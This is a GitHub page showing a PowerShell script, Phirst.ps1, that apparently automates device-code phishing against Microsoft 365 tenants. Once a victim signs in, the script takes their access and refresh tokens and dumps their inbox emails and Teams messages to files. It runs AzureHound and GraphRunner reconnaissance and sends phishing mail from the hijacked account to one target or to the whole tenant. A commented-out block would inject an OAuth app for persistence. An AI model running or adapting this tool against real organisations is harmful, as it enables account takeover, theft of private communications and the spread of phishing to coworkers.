-
Notifications
You must be signed in to change notification settings - Fork 1
/
Phirst.ps1
280 lines (234 loc) · 9.7 KB
/
Phirst.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
[CmdletBinding()]
param (
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$azureHound,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$recon,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$azureAd,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$persistence,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$GraphRecon,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$targetUser,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$firstUser,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$messageContent,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$subject,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$ReplyUrl,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$AppName,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$Scope,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$CaptureCode, # Generate a CaptureCode with roadtx , use it? Will try
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$DeviceCode # Generate a Code elsewhere, pass to templating module and replace.ps1
)
function New-TokensObject {
param(
[Parameter(Mandatory=$true)]
[string]$AccessToken,
[Parameter(Mandatory=$true)]
[string]$RefreshToken
)
$tokens = New-Object PSObject -Property @{
access_token = $AccessToken
refresh_token = $RefreshToken
}
return $tokens
}
$modules = .\Scripts\Import.ps1
# Check if $Token has been specified and is not null or empty
if ([string]::IsNullOrWhiteSpace($Token)) {
# If $Token is not specified, just call Get-AzureToken for Graph
Write-Output "`$Token is not specified. Generating new device code."
Invoke-ClearToken -Token All
Write-Output "Clearing any previous tokens for a clean run."
Get-AzureToken -Client Graph
} else {
# If $Token is specified, use it with the CaptureCode parameter
Write-Output "Using specified access token $Token."
Get-AzureToken -Client Graph -CaptureCode $Token
}
Write-Output "Victim authentication flow"
$access = $response.access_token
$refresh = $response.refresh_token
Add-AADIntAccessTokenToCache -AccessToken $access -RefreshToken $refresh
# Target details constructed from token
$acc = Read-AADIntAccessToken $access
$user = $acc.upn
$domain = $user.Split("@")[1]
Write-Output "$user took the bait."
# Other process listens for creation of this file, validates target with feedback from the token
$switch = "$user"
$switch | Write-Output "$user" > target.txt
if ($azureAd) {
try {
Write-Output "Starting AzureAd module..."
.\azuread.ps1 -response $response
}
catch {
Write-Error "An error occurred in the AzureAd block: $_"
# Optionally, you can exit the script here
# exit 1
}
}
if ($recon) {
try {
Write-Output "Starting Recon module..."
.\Recon.ps1 -accessToken $access -refreshToken $refresh
}
catch {
Write-Error "An error occurred in the Recon block: $_"
# Optionally, you can exit the script here
# exit 1
}
}
if ($azureHound) {
try {
Write-Output "Starting AzureHound module..."
.\azurehound.ps1 -domain $domain -refreshToken $response.refresh_token
}
catch {
Write-Error "An error occurred in the AzureHound block: $_"
# Optionally, you can exit the script here
# exit 1
}
}
# if ($persistence) {
# try {
# Write-Output "Injecting OAuth App for Persistence (Phirst.ps1)"
# Start-Transcript -Path ".\PersistenceApps.log" -Append
# $tokz = Invoke-RefreshToMSGraphToken -domain $domain -refreshToken $refresh -Device iPhone -Browser Safari
# # Assuming $response is an object with access_token and refresh_token
# if ($tokz) {
# $tokens = New-TokensObject -AccessToken $tokz.access_token -RefreshToken $tokz.refresh_token
# # Output the tokens for verification (optional)
# Write-Host "Access Token from tokens object: $($tokens.access_token)"
# Write-Host "Refresh Token from tokens object: $($tokens.refresh_token)"
# }
# . .\Modules\GraphRunner.ps1
# Invoke-ImportTokens -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token
# Invoke-InjectOAuthApp -AppName $AppName -ReplyUrl $ReplyUrl -scope $Scope -Tokens $tokens # *> .\Persistence.json
# Stop-Transcript
# catch {
# Write-Error "An error occurred in the persistence block: $_"
# # Optionally, you can exit the script here
# # exit 1
# }
# }
# }
if ($GraphRecon) {
try {
Start-Transcript -Path ".\GraphRecon.log" -Append
$tokz = Invoke-RefreshToMSGraphToken -domain $domain -refreshToken $refresh -Device iPhone -Browser Safari
# Assuming $response is an object with access_token and refresh_token
if ($tokz) {
$tokens = New-TokensObject -AccessToken $tokz.access_token -RefreshToken $tokz.refresh_token
# Output the tokens for verification (optional)
Write-Host "Access Token from tokens object: $($tokens.access_token)"
Write-Host "Refresh Token from tokens object: $($tokens.refresh_token)"
}
. .\Modules\GraphRunner.ps1
Invoke-ImportTokens -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
Invoke-GraphRunner -Tokens $tokens
Stop-Transcript
}
catch {
Write-Error "An error occurred in the persistence block: $_"
# Optionally, you can exit the script here
# exit 1
}
}
### Refresh to Graph, Dump emails
Write-Output "Dumping last 200 emails from inbox"
Invoke-RefreshToMSGraphToken -refreshtoken $response.refresh_token -domain $domain -Device iPhone -Browser Safari
$emails = Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $MSGraphToken.access_token -mailFolder inbox -Device iPhone -Browser Safari -Top 200
$jsonData = $emails | ConvertTo-Json
$jsonData | Out-File -FilePath "$user.emails.json"
### Get Teams Token and export for AADInternals
$teams=Invoke-RefreshToMSTeamsToken -refreshToken $response.refresh_token -domain $domain
Add-AADIntAccessTokenToCache -AccessToken $teams.access_token -RefreshToken $teams.refresh_token
### Export TeamsMessages
Write-Output "Dumping Teams messages"
$msgs = Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName
### Convert the chats to JSON
$jsonData = $msgs | ConvertTo-Json
$jsonData | Out-File -FilePath "$user.teams.json"
### Delay between retries (in seconds)
$retryDelay = 5
### Phishing Message Content
$At=Invoke-RefreshToOutlookToken -domain $domain -refreshtoken $response.refresh_token
Add-AADIntAccessTokenToCache -AccessToken $At.access_token -RefreshToken $At.refresh_token
### Teams Messages - Send over Teams
# $teamsMessage = @{
# Body = @{
# ContentType = "html"
# Content = $messageContent
# }
# }
### Teams Messages - Function to handle message sending with retry logic
function Send-TeamsMessageWithRetry {
param(
[string]$Recipient,
[hashtable]$teamsMessage
)
$retryCount = 0
$maxRetries = 3
$retryDelay = 5
while ($retryCount -lt $maxRetries) {
try {
Send-AADIntTeamsMessage -Recipients $Recipient -Message $Message
Write-Host "Message sent to $Recipient successfully."
return
} catch {
Write-Host "Error sending message to $Recipient. Retrying in $retryDelay seconds..."
Start-Sleep -Seconds $retryDelay
$retryCount++
}
}
Write-Host "Failed to send message to $Recipient after $maxRetries attempts."
}
$teamsMessage = $messageContent
### Conditional logic for Sending Messages
if ($targetUser) {
if ($targetUser -eq "all") {
foreach ($user in $users) {
Read-Host "Warning: This will will attempt to send your phishing message to every user in the tenant. Do you want to continue?"
Write-Output "You like to party."
Write-Output "Setting status message to 'Gone Phishin' and going wide."
Set-AADIntTeamsStatusMessage -Message "Gone Phishin'" -AccessToken $MSTeamsToken.access_token -Verbose
Write-Output "Sending messages..."
# Send-TeamsMessageWithRetry -Recipient $user.UserPrincipalName -Message $teamsMessage
Send-AADIntOutlookMessage -AccessToken $At.access_token -Recipient $user -Subject "Your account has been disabled" -Message $teamsMessage
}
} else {
Write-Output "Setting user status message to 'Gone Phishin'"
Set-AADIntTeamsStatusMessage -Message "Gone Phishin'" -AccessToken $MSTeamsToken.access_token -Verbose
# Send-TeamsMessageWithRetry -Recipient $targetUser -Message $teamsMessage
Write-Output "Sending message..."
$mailuser = $targetUser
Send-AADIntOutlookMessage -AccessToken $At.access_token -Recipient $mailUser -Subject $subject -Message $teamsMessage
}
} else {
Write-Host "No Teams user specified. Skipping message sending."
}
# # Persistence
# if ($persistence) {
# try {
# Write-Output "Starting OAuth Injection module..."
# .\Modules\Inject-OAuthApp.ps1 -response $response -AppName $AppName -ReplyUrl $ReplyUrl -Scope $Scope
# }
# catch {
# Write-Error "An error occurred."
# # Optionally, you can exit the script here
# # exit 1
# }
# }